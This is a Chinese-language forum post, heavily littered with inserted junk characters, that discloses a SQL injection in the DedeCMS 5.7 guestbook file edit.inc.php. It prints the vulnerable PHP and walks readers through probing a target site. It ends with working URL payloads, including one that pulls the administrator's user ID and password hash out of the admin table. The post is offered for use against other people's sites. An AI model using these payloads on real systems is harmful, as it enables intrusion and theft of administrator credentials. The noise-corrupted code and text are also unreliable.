影响版本为5.7
/ z9 Q# k( Z) b
; c }8 ?0 y3 w5 y5 \. Y漏洞文件edit.inc.php具体代码:
. f) l8 A! c- p" f1 A! ?6 w& m8 l& e5 {2 x
< ?php
0 K Q8 f h. i7 e! d
) M: K, y* R8 ?) k" D+ Fif(!defined('DEDEINC')) exit('Request Error!');
b% S( l; @2 m. ~; P( [4 Y
/ Q" z" I$ j: Q! N) R 8 Q' \& e) |. W4 e, B8 o% H) |
+ B3 B a; ~8 y! b0 x0 |- s
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; " k* A' D) Q+ e# e8 L9 B
i% y9 z& D9 y& v+ G2 n- m* [else $GUEST_BOOK_POS = "guestbook.php"; , {8 a+ i r* \+ y% c- \' F. ^
- s( C. n- C) B1 T) r
0 W2 x! H! d: n1 w4 C+ l+ N' M! @' f- h1 H/ a1 s( Y
$id = intval($id); , g) x# k1 I0 f
9 b7 m& D x* |6 T
if(empty($job)) $job='view';
3 l a& z" {8 U/ D
- A' ]/ Z) E. s; w- l( b6 S 6 O' O& ~0 Y$ h* `: h0 V( ~1 w
+ k5 _" R6 s' h: M/ ^
if($job=='del' && $g_isadmin)
" y' F8 t+ V5 h2 j* T, ^6 ^: J$ M& ?2 D6 {
{
B! t a9 O3 q5 E2 ?- b7 |/ j$ Z1 m' ?" x$ `" e
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
( @6 A' a3 h" D [. K5 Y+ s" v4 H7 [) d' W: i$ M% {5 ?
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); ' \/ X4 ~& |8 f2 `3 ?
; a. @4 Y6 R; G" q0 \exit(); / n9 X6 `6 k( C
& U3 E6 g, m4 g7 t}
# {- Y. t( _+ F5 `. d4 u$ n6 W* r( |! t) Q2 u5 `
else if($job=='check' && $g_isadmin)
% d% V' _7 J# h
0 ^, O- n% y/ {4 X, f9 M{ " k9 C4 j* W7 k
7 H4 j5 K, R) t5 L, p
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
. f* z4 ]3 P. z! _% k4 z4 {3 x8 X2 g( I% Z5 a
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); ; ^# n8 }! T% b" d4 G
7 V. g! V" k& [8 i) F
exit(); 3 U) X* b( d8 U
2 T/ t% L9 W6 c" q2 g% J$ m* q
}
4 I1 `: S) D5 B0 x
) f' d2 S8 U& _- g: R4 k0 \( Relse if($job=='editok')
/ h$ q/ w: k5 _' X' C5 n
. m/ f$ V8 p& O) Q' z, q. f{ & d6 m6 [' \: M% |- |! A( f, u/ H
* N* V( O! K* q! g# F: c3 M9 d$remsg = trim($remsg);
8 T2 Y; L3 J- A
: k4 X( r6 S- ]7 t ]5 i: dif($remsg!='')
. Z" Q& T& w) [7 D+ W# r* O- b( ^* Y5 ]3 j* R8 `3 x) I
{ 1 [ m5 \/ t3 i2 i
; ]. |' `2 F3 F4 [1 F# A& d+ F
//管理员回复不过滤HTML By:Errorera blog:errs.cc 4 ?2 i% S: W0 o/ r8 I1 ~2 {9 s
" F8 U2 }# @ z& N, y Oif($g_isadmin)
0 m, p; O! T; U$ Y; ]: G
9 P8 k0 S- }# G. q* A( U{ . o$ M% y% H5 t- C1 D, `, A+ U
) O3 X/ B8 K5 I) d$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
" y( b" ]* t/ Q0 Z: Z
. A1 `( B/ K* [% N" Z//$remsg <br /><font color=red>管理员回复:</font> }
9 q& ]0 v4 _% {, Q$ b
) Y0 K- h* U4 @+ C# a+ Nelse
3 e' r B/ A3 J+ w7 T( [
# f* S' q. K: X S" q( q{ # f3 r& D! m7 Z
( t; x: S2 N0 f# Q
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); $ G5 @! c5 M0 I8 a
* j' }; p1 X# t$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; s# y; ]2 ^8 L1 r: j
' @, ?2 C7 T0 Z4 z, k4 ]6 M$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
, ]; x) j7 V" F5 v5 ]$ D, p9 S
+ H0 u+ X2 O; d& \2 P. u8 q$msg = $oldmsg.$remsg;
$ |) ?6 N$ j( h; Z- T
& I* |9 c! c, t) J}
; Q u) H) L' f* g/ O- o
# E& F4 F) w$ Q} 6 N3 c# x8 O# z( `5 S, o6 u
3 h- I8 B. i7 @4 n
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 1 |1 u# i' e8 k1 g. ~1 q
0 t1 ?: U$ z' T& v( E$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ! Z( `" U" y5 D2 x, {) I1 ~( k! L
4 D8 e" v* G6 ~0 m' e
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); $ r7 N' m" x! V$ n9 x2 x2 c& L4 ]" }
; K) ^; f: b" V- h- u
exit(); 1 ^( o9 x/ T+ P n: i- P
% i! _" `& b; C
} / p9 D8 S6 J0 V% S4 x- j# m, E4 H
/ Z) {: C0 C- g& S9 Q) z//home:www.errs.cc
+ {0 o( V1 c' `/ l1 V; V4 `7 O7 M: _/ q x
if($g_isadmin) ) o0 M* a* w8 l( u% p
' s) S3 v; x6 E/ }! r/ X5 F{ $ I% K( J6 Q. g* M$ P' w9 X: ^: l
* k; _( G' s: U" b6 {$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
* b2 Z0 n/ j- S5 I
5 {- [- ~' V0 d) e# {5 d6 B) srequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 2 L! S2 J5 s* x+ R: |# E# h& W2 _* z& P4 L
) y6 F5 Q5 D1 s9 |) }5 J}
~; h) E) w" d1 r* D0 m8 t7 s, ~! Q! z; k$ [5 u
else
2 S9 _" H( B% \+ G/ c p# E
. B) g/ M" a/ V{
N1 c9 A, h( u" D5 T H3 W. u& t8 a& n7 s8 \: w, |
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
: j5 E, @+ K8 X/ M
" S& M( x; E2 s( N( g7 drequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
$ ?% P6 L" ^2 Z! G3 S1 a) N# s e
} 漏洞成功需要条件:
; O/ b; O" {7 a7 w1. php magic_quotes_gpc=off
3 h- U) Z. S# n: A# f2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。& Y6 |! n( W( e5 t
" Q% I4 P$ k. N4 t) W: ]
怎么判断是否存在漏洞:' W; t8 W2 Q) T
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
: a' R" B6 M/ t/ E# P& |然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID* g0 q' L3 s: j0 W+ G- n! I+ G
访问:7 g/ r: o1 b& N. U6 H6 c
: k- w; p) J# C9 fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
2 H# p" R5 ^7 F0 M4 L: o" t跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证, Q' r7 f% x- ?, }# g4 r
5 {( S" E' N& m/ W7 X# f7 f# `
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off7 B" p2 w2 Z4 W2 c
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。 I, q. N3 `0 |* h; a- O
那么再次访问. R8 @$ c6 j& q! u1 q6 X
; i K6 M. r% u( H p+ v& u$ K& Awww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
/ ~6 b5 O. ]! n9 s: A6 `, r& K3 t: Z7 S/ r' G
大概利用就是这样,大家有兴趣的多研究下!!. r. r3 i+ S! @; O3 Q' z
+ o0 L) }& a' Y/ z, o
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
N; Q% S. V, t. J& T5 _$ G: a- T9 v! v$ ^1 l4 s) @4 i3 Q- h7 V7 ?
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |